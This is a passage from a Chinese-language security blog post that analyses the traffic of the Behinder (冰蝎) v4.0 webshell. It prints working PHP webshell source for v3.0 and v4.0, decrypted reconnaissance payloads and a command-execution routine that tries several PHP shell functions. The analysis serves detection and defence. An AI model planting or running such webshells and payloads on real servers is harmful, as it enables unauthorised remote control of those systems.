<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    冰蝎V4.0流量分析到攻防檢測

    VSole2023-01-17 11:05:18

    0x01 前言

    最近在改寫 yso,覺得自己基礎太差了,想先閱讀一下 sqlmap、冰蝎以及一些其他工具的開發思路。文章可能寫的不夠嚴謹,有不對的地方還請師傅們多多指出

    0x02 環境搭建

    這里我看的是 MountCloud 師傅所二開的冰蝎項目,版本是 4.0.2;其實就是通過反編譯搞出來的,但是這里不要用 jd-gui 或者 jadx 這些反編譯,我用的是 MountCloud 師傅自己寫的反編譯工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI

    冰蝎項目源碼地址:https://github.com/MountCloud/BehinderClientSource

    拿到之后用 maven package 打包一下,運行 jar 包即可,同時要將 data.db 放到 jar 包同一目錄下。

    0x03 冰蝎的使用與流量分析

    冰蝎的使用

    我們看冰蝎的客戶端界面,對于 shell 其實是沒有輸入密碼模塊的,其實在冰蝎當中 shell 是通過傳輸協議配置的。

    這一傳輸協議的加密函數是用 Java 寫的,并且 key 是默認的,不需要自己修改,我們點擊生成服務端,則會生成三個 shell 文件,分別為 .php.aspx 和 .jsp,這里我們起個環境然后連 shell(這里我是用虛擬機的環境,因為一開始用本機起一直 wireshark 抓不到流量,如果踩坑的師傅也歡迎私信和我交流)

    我們可以看一下 shell.php(先對 xor_base64 的傳輸協議進行分析,后續分析 xor_base64 這種加密方式的攻防性),代碼如下,此處代碼和 v3.0 的相當不一樣。

    v4.0 的代碼

    @error_reporting(0);
        function decrypt($data)
    {
        $key="25f9e794323b4538"; 
        $bs="base64_"."decode";
        $after=$bs($data."");
        for($i=0;$i<strlen($after);$i++) {
            $after[$i] = $after[$i]^$key[$i+1&15]; 
        }
        return $after;
    }
        $post=Decrypt(file_get_contents("php://input"));
        eval($post);
    ?>
    

    這里的 key 就是對應的連接密碼,當然在冰蝎“傳輸協議”當中,可以自定義密碼。

    v3.0 的代碼

    @error_reporting(0);
    session_start();
        $key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
        $_SESSION['k']=$key;
        session_write_close();
        $post=file_get_contents("php://input");
        if(!extension_loaded('openssl'))
        {
            $t="base64_"."decode";
            $post=$t($post."");
            
            for($i=0;$i<strlen($post);$i++) {
                     $post[$i] = $post[$i]^$key[$i+1&15]; 
                    }
        }
        else
        {
            $post=openssl_decrypt($post, "AES128", $key);
        }
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
        class C{public function __invoke($p) {eval($p."");}}
        @call_user_func(new C(),$params);
    ?>
    

    v3.0 和 v4.0 的區別很明顯在于這里 $_SESSION['k']=$key,v3.0 版本當中會把 key 作為 session 傳入;接著判斷 extension_loaded,也就是判斷服務端是否存在 openssl 拓展,如果不存在就用 base64 解碼,然后使用 key 進行異或加密,這也是冰蝎 v4.0 版本當中的 xor_base64 加密方式;如果服務端能夠加載 openssl 拓展,就使用 AES128 解密,這里對應冰蝎 v4.0 版本當中的 aes 加密方式。

    冰蝎流量分析

    看了網上一堆分析的文章,都在說冰蝎的通信過程可以分為兩個階段:密鑰協商和加密傳輸

    第一階段-密鑰協商

    1.攻擊者通過 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的請求服務器密鑰;

    2.服務器使用隨機數 MD5 的高16位作為密鑰,存儲到會話的 $_SESSION 變量中,并返回密鑰給攻擊者。

    第二階段-加密傳輸

    1)客戶端把待執行命令作為輸入,利用 AES 算法或 XOR 運算進行加密,并發送至服務端;

    2)服務端接受密文后進行 AES 或 XOR 運算解密,執行相應的命令;

    3)執行結果通過 AES 加密后返回給攻擊者。

    • ? 但是我自己在分析的過程中并沒有看到這個密鑰協商的過程,同時也沒有看到 $_SESSION 變量當中存儲了 md5 的高 16 位,反而 $_SESSION 變量存儲的是一個 26 位的字符。不知道這里是我的問題還是冰蝎 4.0 版本就是如此。

    我先選取的是 xor_base64 的加密方式,我在連上馬之后還執行了 whoami 命令,如果不算上自己的命令執行,一共是兩組流量,我們來分析一下。

    第一段代碼,經過 xor_base64 的解密,得到如下代碼

    @error_reporting(0);
    function main($content)
    {
        $result = array();
        $result["status"] = base64_encode("success");
        $result["msg"] = base64_encode($content);
        @session_start();     
        echo encrypt(json_encode($result));
    }
    function encrypt($data)
    {    
        $key="25f9e794323b4538"; 
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];     
        }    
        $bs="base64_"."encode";
        $after=$bs($data."");    
        return $after;
    }
    $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
    $content=base64_decode($content);
    main($content);
    

    我個人傾向于是認為冰蝎 V4.0 版本當中,這一個包涵蓋了密鑰協商的部分,并且在這一個包之后重置了 $_session,而 msg 和第一個包里的 content 是相同的,所以我認為這一部分其實也在做密鑰協商(后來看了冰蝎作者的文章,果然如此)

    接著我們往下看相應報文,相應報文經過 xor_base64 解密之后結果如下

    {
    "status":"c3VjY2Vzcw==",
    "msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="
    }
    

    經過 base64 解密,status 對應的是 success,證明能夠收到這個包,并且和前面對照上。

    繼續分析下一個包,代碼如下,這里就進行了命令執行

    error_reporting(0);
    function main($whatever) 
    {    
        $result = array();    
        ob_start(); 
        phpinfo(); 
        $info = ob_get_contents(); 
        ob_end_clean();    
        $driveList ="";    
        if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){        
            for($i=65;$i<=90;$i++) {    
                $drive=chr($i).':/';    
                file_exists($drive) ? $driveList=$driveList.$drive.";":'';    
            }    
        } else {
            $driveList="/";
        }    
        $currentPath=getcwd();    
        //echo "phpinfo=".$info.""."currentPath=".$currentPath.""."driveList=".$driveList;
        $osInfo=PHP_OS;    
        $arch="64";    
        if (PHP_INT_SIZE == 4) {
            $arch = "32";    
        }    
        $localIp=gethostbyname(gethostname());    
        if ($localIp!=$_SERVER['SERVER_ADDR']) {        
            $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];    
        }    
        $extraIps=getInnerIP();    
        foreach($extraIps as $ip) {        
            if (strpos($localIp,$ip)===false) {         
                $localIp=$localIp." ".$ip;        
            }    
        }    
        $basicInfoObj=array(
            "basicInfo"=>base64_encode($info),
            "driveList"=>base64_encode($driveList),
            "currentPath"=>base64_encode($currentPath),
            "osInfo"=>base64_encode($osInfo),
            "arch"=>base64_encode($arch),
            "localIp"=>base64_encode($localIp));    
            //echo json_encode($result);    
            $result["status"] = base64_encode("success");    
            $result["msg"] = base64_encode(json_encode($basicInfoObj));    
            //echo json_encode($result);    
            //echo openssl_encrypt(json_encode($result), "AES128", $key);    
            echo encrypt(json_encode($result));
        }
        function getInnerIP()
        {
            $result = array();
            if (is_callable("exec"))
            {    
                $result = array();    
                exec('arp -a',$sa);    
                foreach($sa as $s)    
                {        
                    if (strpos($s,'---')!==false) {
                        $parts=explode(' ',$s);
                        $ip=$parts[1];
                        array_push($result,$ip);
                    } 
                    //var_dump(explode(' ',$s));           
                    // array_push($result,explode(' ',$s)[1]);    
                }
            }
            return $result;
        }
        function encrypt($data)
        {    
            $key="25f9e794323b4538"; 
            for($i=0;$i<strlen($data);$i++) {    
                $data[$i] = $data[$i]^$key[$i+1&15];     
            }    
            $bs="base64_"."encode";
            $after=$bs($data."");    
            return $after;
        }
        $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
    $whatever=base64_decode($whatever);
    main($whatever);
    
    • ? 這里我不太明白傳入的 $whatever 是做什么的,感覺沒什么用,這個腳本本質上還是在運行 phpinfo() 的命令執行。

    把相應包解密出來,內容如下

    {
    "status":"c3VjY2Vzcw==",
    "msg":"xxx略,篇幅太長"
    }
    

    把這一串 msg 內容放到 base64 解密,不難發現響應內容其實就是 phpinfo() 的命令回顯。

    至于后面的命令執行部分,是比較好分析的

    把流量包提取出來,進行解密

    @error_reporting(0);
    function getSafeStr($str){
        $s1 = iconv('utf-8','gbk//IGNORE',$str);
        $s0 = iconv('gbk','utf-8//IGNORE',$s1);
        if($s0 == $str){
            return $s0;
        }else{
            return iconv('gbk','utf-8//IGNORE',$str);
        }
    }
    function main($cmd,$path)
    {
        @set_time_limit(0);
        @ignore_user_abort(1);
        @ini_set('max_execution_time', 0);
        $result = array();
        $PadtJn = @ini_get('disable_functions');
        if (! empty($PadtJn)) {
            $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
            $PadtJn = explode(',', $PadtJn);
            $PadtJn = array_map('trim', $PadtJn);
        } else {
            $PadtJn = array();
        }
        $c = $cmd;
        if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
            $c = $c . " 2>&1";
        }
        $JueQDBH = 'is_callable';
        $Bvce = 'in_array';
        if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
            ob_start();
            system($c);
            $kWJW = ob_get_contents();
            ob_end_clean();
        } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
            $handle = proc_open($c, array(
                array(
                    'pipe',
                    'r'
                ),
                array(
                    'pipe',
                    'w'
                ),
                array(
                    'pipe',
                    'w'
                )
            ), $pipes);
            $kWJW = NULL;
            while (! feof($pipes[1])) {
                $kWJW .= fread($pipes[1], 1024);
            }
            @proc_close($handle);
        } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
            ob_start();
            passthru($c);
            $kWJW = ob_get_contents();
            ob_end_clean();
        } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
            $kWJW = shell_exec($c);
        } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
            $kWJW = array();
            exec($c, $kWJW);
            $kWJW = join(chr(10), $kWJW) . chr(10);
